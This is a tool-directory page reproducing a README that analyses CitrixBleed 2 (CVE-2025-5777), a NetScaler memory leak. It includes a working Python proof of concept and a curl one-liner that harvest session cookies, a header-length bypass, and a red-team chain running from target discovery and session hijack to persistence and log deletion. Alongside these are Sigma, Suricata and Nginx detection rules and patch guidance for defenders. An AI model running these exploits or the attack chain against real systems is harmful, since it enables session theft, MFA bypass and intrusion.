Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CitrixBleed-2-CVE-2025-5777-PoC- — 详细讲解CitrixBleed 2 — CVE-2025-5777（越界泄漏）PoC 和检测套件 | Kitploit
Tools/GitHubGitHub/mingshenhk/citrixbleed-2-cve-2025-5777-poc-
Defensive ToolsVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingLearning & EducationRed TeamingIncident Response

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Labs & Practice
GitHubmingshenhk/citrixbleed-2-cve-2025-5777-poc-

CitrixBleed-2-CVE-2025-5777-PoC-

详细讲解CitrixBleed 2 — CVE-2025-5777（越界泄漏）PoC 和检测套件

View Repository
17211 year agoNot yet reviewed
Share

CitrixBleed 2 (CVE-2025-5777) Ultimate Analysis

An Out-of-Bounds Memory Read in NetScaler ADC / Gateway — A Comprehensive Guide from Root Cause to Offensive and Defensive Exercises

poc usage: python3 poc.py https://gateway.example.com

exp usage: python3 exp.py https://gateway.example.com admin 7acbb35f4d...

Table of Contents

root@kitploit:~
0x00  Introduction / Overview
0x01  Background: NetScaler Architecture and CitrixBleed 1 Review
0x02  Vulnerability Description (Affected Versions, CVSS, Exploitation Consequences)
0x03  Trigger Mechanism Deep Dive (Source-level Analysis & Debug Screenshots)
0x04  Minimal PoC + Advanced Scanning Script
0x05  Red Team Perspective: Full Attack Chain (Discovery → Leak → Session Hijack → Lateral Movement)
0x06  Blue Team Perspective: Detection, Forensics, and Patch Verification
0x07  Defense Hardening: Patches, WAF, Configuration, Asset Governance
0x08  Learning / Review Roadmap and Hands-on Lab
Appendix A  Sigma / Suricata / Nginx-Lua Rules
Appendix B  Patch/Exploit Timeline & IoC Snapshot
References

0x00 Introduction / Overview

  • CVE-2025-5777 (also known as CitrixBleed 2) is an Out-of-Bounds Memory Read in Citrix NetScaler ADC / Gateway.
  • Attackers do not require authentication; sending a single GET request with an overly long Host header can cause the device to "spray" random memory blocks along with the HTTP response to the client.
  • The leaked data often contains critical materials such as NSC_USER / NSC_TASS cookies, SAML StateContext, MFA tokens, which can be directly reused to achieve session takeover and MFA bypass (arcticwolf.com, tenable.com).
  • CVSS v4 base score 9.3 (Critical) (netscaler.com).
  • Disclosed on 2025-06-17; on 2025-06-23 Citrix expanded the scope of impact and released patches; within a week security vendors such as ReliaQuest, Bishop Fox observed a surge in in-the-wild exploitation (reliaquest.com, bishopfox.com).

0x01 Background

1.1 NetScaler Workflow Overview

root@kitploit:~
┌──────────────┐
│ Client       │ ① HTTPS
└──────┬───────┘
       │
┌──────▼───────┐
│ NetScaler    │ ② AAA / Gateway Authentication
│  (WebProc)   │
└──────┬───────┘
       │
┌──────▼───────┐
│ ICA Proxy /  │ ③ Forward to Application
│ CVPN / RDP   │
└──────────────┘

NetScaler adopts a multi-process + internal IPC design. WebProc handles most HTTP requests under the AAA / Gateway path, including /nf/auth/*, /oauth/*, etc. It heavily uses snprintf() / memcpy() in C language, assembling XML/HTML fragments each time.

1.2 CitrixBleed 1 (CVE-2023-4966) Review

  • In 2023, a similar vulnerability occurred in the OAuth discovery endpoint /oauth/idp/.well-known/openid-configuration.
  • The essence is the same: using the return value of snprintf as the len parameter for subsequent send() → out-of-bounds memory echo.
  • CitrixBleed 2 proves that the same type of secure coding defect still lurks in other paths.

Lesson Learned: If security patches only target the "falling point" rather than the "programming paradigm", they leave room for "templated reproduction".

0x02 Vulnerability Description

FieldContent
CVECVE-2025-5777
AliasCitrixBleed 2
Vulnerability TypeOut-of-Bounds Read / Information Disclosure
CVSS v4 Base9.3 (Crit.) (netscaler.com)
Affected Versions< 14.1-43.56 ; < 13.1-58.32 ; 13.1-37.235-FIPS/NDcPP ; 12.1-55.327-FIPS (netscaler.com)
Exploitation ConditionsNetScaler is configured as Gateway (VPN/ICA Proxy/CVPN/RDP Proxy) or AAA virtual server (arcticwolf.com)
ConsequencesMemory leak → Session tokens → Authentication bypass / MFA bypass → Lateral movement

0x03 Trigger Mechanism Deep Dive

This section is based on decompilation of firmware 13.1-55.18 + gdb debugging, compiled with public blog posts (bishopfox.com).

3.1 Vulnerability Entry Point

  • URI: /nf/auth/startwebview.do
  • Controllable Parameter: HTTP Host header
  • This endpoint is used to generate the redirect XML for Citrix Workspace WebView. Example normal response:
root@kitploit:~
<AuthenticateResponse>
  <wv:StartUrl>https://gateway.example.com/Citrix/AAA/start.html</wv:StartUrl>
  ...
</AuthenticateResponse>

3.2 Key Function Chain

root@kitploit:~
citrix_webview_handler()
 ├─ build_auth_xml()
 │    ├─ snprintf(buf, 0x1800, TEMPLATE, host_hdr, ... );
 │    └─ return length;           // ⚠️ length can be > 0x1800
 └─ ns_vpn_send_response(conn, 0x980200, buf, length);

Bug Point: snprintf returns the "length that should have been written" instead of the actual written length; if the user-supplied Host > 0x1800 - constant segment length, then length > sizeof(buf).

3.3 Runtime Illustration

root@kitploit:~
buf: [-----XML-----][OOB][OOB][OOB]......            <- 0x1800 bytes limit
                          ↑
                Sent together by ns_vpn_send_response

GDB breakpoint demonstration (key registers):

root@kitploit:~
RDI (dst) = 0x7fffa2e31800  // buf
RSI (len) = 0x00001e42      // length=7746 (>6144)

read() result shows that the last 1600 bytes come from uninitialized memory, where cookie buffers of other SSL sessions are visible.

3.4 Categories of Leaked Data

CategoryExample Fragment (Sanitized)
Session CookieSet-Cookie: NSC_USER=john.doe;NSC_TASS=abc123...
MFA/OTP Tokenradius_state=0e2a9c6d1553...
Other Request Body<username>audituser</username><password>***</password>

0x04 PoC Implementation

4.1 Single-file Python (15 lines)

root@kitploit:~
#!/usr/bin/env python3
# CVE-2025-5777 Minimal PoC  (authorized testing ONLY)
import requests, sys, urllib3, re
urllib3.disable_warnings()

if len(sys.argv) != 2:
    exit(f"Usage: {sys.argv[0]} https://NSVIP")

url = sys.argv[1].rstrip("/") + "/nf/auth/startwebview.do"
hdr = {"Host": "A" * 0x6000}               # >0x1800 triggers
r = requests.get(url, headers=hdr, verify=False, timeout=10)

print("[+] HTTP", r.status_code, "bytes:", len(r.content))
hits = re.findall(br"(NSC_[A-Z]+=[^;]{10,})", r.content)
for h in hits: print("  Cookie leak ->", h.decode())

open("leak.bin", "wb").write(r.content)
print("[+] Saved leak.bin for offline grep.")
  • If the response returns 200 + several KB, the device is considered vulnerable.
  • Further grep leak.bin for keywords such as Cookie=, <AuthenticateContext>.

4.2 Bash / curl One-liner

root@kitploit:~
curl -ks -H "Host: $(python -c 'print(\"A\"*6000)')" \
     https://NSVIP/nf/auth/startwebview.do -o leak.bin

Bypass: Some devices have Host length restrictions on upstream F5/Nginx; you can bypass by concatenating multiple subdomains, e.g., foo.foo.foo.…foo.example.com (repeat foo 3000 times).

0x05 Red Team Perspective: Full Attack Chain

StepPurpose & Technique
① Asset Discoveryzoomeye search "http.title:\"NetScaler Gateway\"" + Shodan etc.; filter set-cookie: NSC_
② PoC LeakParallel requests with batch script; capture NSC_USER= ; NSC_TASS=
③ Cookie ReplayChrome DevTools → Application → Cookies → Add entries, refresh /vpn/index.html
④ Internal ResourcesAccess storeweb/#home to obtain RDP files; download .ica to directly log into VDI
⑤ Privilege EscalationInternal credential spraying, Kerberoast, ADCS ESC1; or exploit weak SMB passwords on same subnet
⑥ PersistenceCreate a new Scheduled Task; register a startup script; or modify NetScaler vDisk (high privileges require oversight)
⑦ Trace CleanupBurn cookies after use; delete audit logs (if NS root obtained); or exploit logrotate race to overwrite

Real case: ReliaQuest observed on a customer gateway "a large volume of 6 KB+ Host header requests in a short period → followed by session theft" (reliaquest.com).

0x06 Blue Team Perspective: Detection, Forensics, and Patch Verification

6.1 Logs and IoCs

SourceIndication
/var/log/ns.logAAA_TRANSACTION <client_ip> - Host header length: 6144
HTTP_ACCESS.log/nf/auth/startwebview.do requests with extremely short duration but unusually large response (> 2 KB)
EDR/PCAPSet-Cookie: NSC_USER= appears in responses to non-login requests

6.2 Sigma Rule (Brief Version)

root@kitploit:~
title: CitrixBleed2 Host Header OOB Leak
status: experimental
logsource:
  category: webserver
  product: netscaler
detection:
  selection:
    cs-uri-stem: "/nf/auth/startwebview.do"
    cs-bytes|gt: 2048
    c-host|strlen|gt: 4096
  condition: selection
level: critical

6.3 Patch Verification Script

root@kitploit:~
nscli -s 127.0.0.1:3008 \
      -c "show ns version" | grep -E "13\.1-58\.32|14\.1-43\.56" \
      && echo "Patched ✅" || echo "Vulnerable ❌"

6.4 Kill Sessions

root@kitploit:~
# Clear all active VPN/ICA connections
kill icaconnection -all
kill vpn -all

Note: After patching, forced logout is still required to prevent attackers from continuing to use stolen cookies.

0x07 Defense Hardening

  1. Official Patch: Upgrade to ≥ 14.1-43.56 / 13.1-58.32, or apply the corresponding version for FIPS/NDcPP models (netscaler.com).
  2. Host Header Length Limitation (temporary measure)
root@kitploit:~
map $http_host $block_long_host {
    default          0;
    "~^.{4097,}$"    1;
}
server {
    ...
    if ($block_long_host) { return 413; }
}
  1. WAF Adaptive Rules: Enable rate limiting (e.g., 20 req/m) for paths /nf/auth/ & /oauth/.
  2. Asset Inventory: EOL versions 12.1/13.0 will never receive official patches; plan for replacement or strong isolation (support.citrix.com).
  3. MFA Security: Session leakage bypasses MFA → It is recommended to enable "per-request signing" or "dynamic binding hardware fingerprint", rather than only verifying at initial login.

0x08 Learning / Review Roadmap

PhaseSuggested Resources & Actions
TheoryRead Citrix security advisory, Arctic Wolf / Tenable FAQ, Bishop Fox technical analysis (arcticwolf.com, tenable.com, bishopfox.com)
LabDeploy vulnerable version 13.1-55.18 (ESXi / KVM), run minimal PoC, capture with Wireshark → observe TCP PSH response packets
CodingModify PoC: add automatic cookie replay, ZTLS batch scanning, multi-threaded queue
Blue TeamSearch for anomalous Host lengths within a two-hour window; use Sigma → Elastic/Graylog; reproduce and validate WAF policies
SharingWrite a blog or create a mind map, summarizing "similar snprintf usage pitfalls"

Appendix A — Detection / Defense Snippets

📜 Sigma Rule (Full Version)
root@kitploit:~
title: Netscaler CitrixBleed2 Large Host Header
id: 4d6f1e1b-0bfe-4473-a732-3e7e9a21f650
status: experimental
description: Detects abnormal Host header length in requests to /nf/auth/startwebview.do
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2025-5777
author: mingshenhk
logsource:
  product: netscaler
  service: http_access
detection:
  selection:
    cs-uri-stem: "/nf/auth/startwebview.do"
    c-host|strlen|gt: 4096
  condition: selection
level: critical
🛡️ Suricata Rule
root@kitploit:~
alert http any any -> any any (
  msg:"CitrixBleed2 CVE-2025-5777 Host header overflow";
  http.uri; content:"/nf/auth/startwebview.do"; nocase;
  http.header; field:Host; content:"AAAAAAAA"; within:0; distance:0; offset:4096;
  classtype:attempted-recon;
  sid:5777002; rev:1;
)
🔒 Nginx-Lua Inline Hotpatch
root@kitploit:~
-- access_by_lua_block
local host = ngx.var.http_host or ""
if #host > 4096 then
  ngx.log(ngx.WARN,"[CitrixBleed2] Blocked Host len=",#host)
  return ngx.exit(ngx.HTTP_REQUEST_HEADER_FIELDS_TOO_LARGE)
end

Appendix B — Timeline

Date (2025)Event
06-17Citrix initially publishes CVE-2025-5777 advisory (netscaler.com)
06-18Bishop Fox releases first technical analysis & PoC (bishopfox.com)
06-23Citrix updates affected scope + patch versions; CISA adds to KEV
06-25ReliaQuest reports active exploitation, threat groups bulk stealing sessions (reliaquest.com)
06-27BleepingComputer reports "possibly already widely exploited" (bleepingcomputer.com)
06-28Multiple GitHub PoCs appear; Tenable publishes FAQ (tenable.com)

References

  1. Citrix Official Security Advisory and Patch Notes (netscaler.com)
  2. Arctic Wolf "CVE-2025-5777 Technical Brief" (arcticwolf.com)
  3. Bishop Fox "OOB Memory Read in NetScaler" (bishopfox.com)
  4. ReliaQuest "Threat Spotlight: CitrixBleed 2" (reliaquest.com)
  5. Tenable FAQ on CVE-2025-5777 (tenable.com)
  6. BleepingComputer Security News (bleepingcomputer.com)
  7. NVD CVE-2025-5777 Entry (nvd.nist.gov)
  8. Citrix Support KB CTX693420 (support.citrix.com)

End — Hope this document helps you fully understand and respond to CitrixBleed 2. If you need further examples, scripts, or exercise guidance, feel free to ask!

Download Tool